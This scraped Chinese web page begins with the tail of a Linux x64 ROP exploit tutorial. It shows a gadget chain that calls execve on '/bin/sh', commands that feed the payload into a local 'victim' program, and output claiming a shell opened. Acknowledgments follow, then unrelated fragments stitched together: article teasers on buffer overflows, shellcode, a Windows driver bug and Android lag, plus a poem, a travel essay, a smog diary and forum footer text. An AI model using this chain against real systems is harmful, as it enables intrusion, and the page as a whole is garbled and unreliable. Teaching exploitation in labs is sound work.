long2bytes(0x4018ed) + \
long2bytes(0x487318) + \
"/bin/sh\x00" + \
long2bytes(0x431b3d) + \
long2bytes(0x00003b) + \
long2bytes(0x4333d9) + \
long2bytes(0x000000) + \
long2bytes(0x000000) + \
long2bytes(0x43d371)
现在可以实施攻击了:
$ python gen-shellcode.py & shellcode
$ cat shellcode - | ./victim
What's your name?Hello, !
gen-shellcode.py
gen-shellcode.py
victim.c xxx
可以看出终端被成功打开,ls和mkdir命令都可以运行。
感谢jip的文章
和Ben Lynn的文章
,他们的文章系统的介绍了Linux(x64)下的栈溢出攻击和防护方法。
感谢 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人对ROP做出的非凡的工作:,ROP攻击几乎无法阻挡,强大之中又蕴涵着优雅的美感,就像风清杨教给令狐冲的独孤九剑。
感谢JonathanSalwan编写的,他的工具让搜索gadgets的工作变得简单无比。
缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原...
本文介绍了一些栈的缓冲区原理和攻防手段。 1. C程序地址空间布局 先上一张老生常谈的图(来自《Unix环境高级编程》)。 2. 函数调用stdcall和cdecl 要理解栈的缓冲区溢出,对栈的结构要非常熟悉。这就需要了解函数调用时,参数是如何传递的。 一般来说,编译器会优...
这篇文章里,我们将浏览一个简单的HEVD驱动漏洞 - 栈溢出。攻击代码将附在最后。 首先,我们把驱动.sys文件加载到IDA里看看它的结构。你将会很庆幸我们的驱动里编译时有符号表选项,这使得逆向简单得多! 逆向驱动 在driver最开始被加载时,DriverEntry函数是...
1. 概说 shell我们都知道是什么了吧! 狭义的shellcode 就是一段可以运行shell的代码!构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖掉正常的返回地址。shellcode通常放在缓冲区内,也可以通过环境变量存入堆内,也...
用两张图告诉你,为什么你的 App 会卡顿? - Android - 掘金Cover 有什么料? 从这篇文章中你能获得这些料: 知道setContentView()之后发生了什么? ... Android 获取 View 宽高的常用正确方式,避免为零 - 掘金相信有很多朋友...
生活理念,从早上到晚上每个时间段我怎么做,还有我的收获是什么都需要我自己。。 那么我就早早的起来。 做好引领,其实是我作为家长太懒了。
你摩挲着手中粗砾的时光 泪水肆意流淌 变成了一个无处可归的姑娘 我想说 我已为你建好了茅草房 还残留着青草的味道 我可以为你鼓瑟吹箫 你是否愿来我的身旁 依偎在我肩膀 在我怀里 你尽可以放声哭泣 但我不会让你哭泣 我应该带给你欢笑 从此尝不到泪水的味道
无意中去了北京大学的原址,著名的北大红楼,虽倏忽而过,似走马观花,却也牵动了心中澎湃。过去印象里,只有一个“红楼”的名字,其余一无所知,一直以为,北大红楼自然在北大校园里,不知竟是与如今的北大校园相距甚远,也才知道如今的北大校园是当年的燕京大学,说来有趣,知道燕京大学的名是...
夜长的缘故,早上总显得特别慵懒,一刹那以为太阳公公忘记定闹钟,懊恼着虽然是周末,却无法睡到自然醒。
睡眼朦胧的拉开窗帘才发现,天仍旧是灰蒙蒙的,我猜这个冬天未必有去年那么幸运,雾霾还是来了。嗓子有点痒,仿佛瞬间有雾霾冲进咽喉的感觉。
要赶着去跟着张老...

我要回帖

更多关于 大端存储和小端存储 的文章

 

随机推荐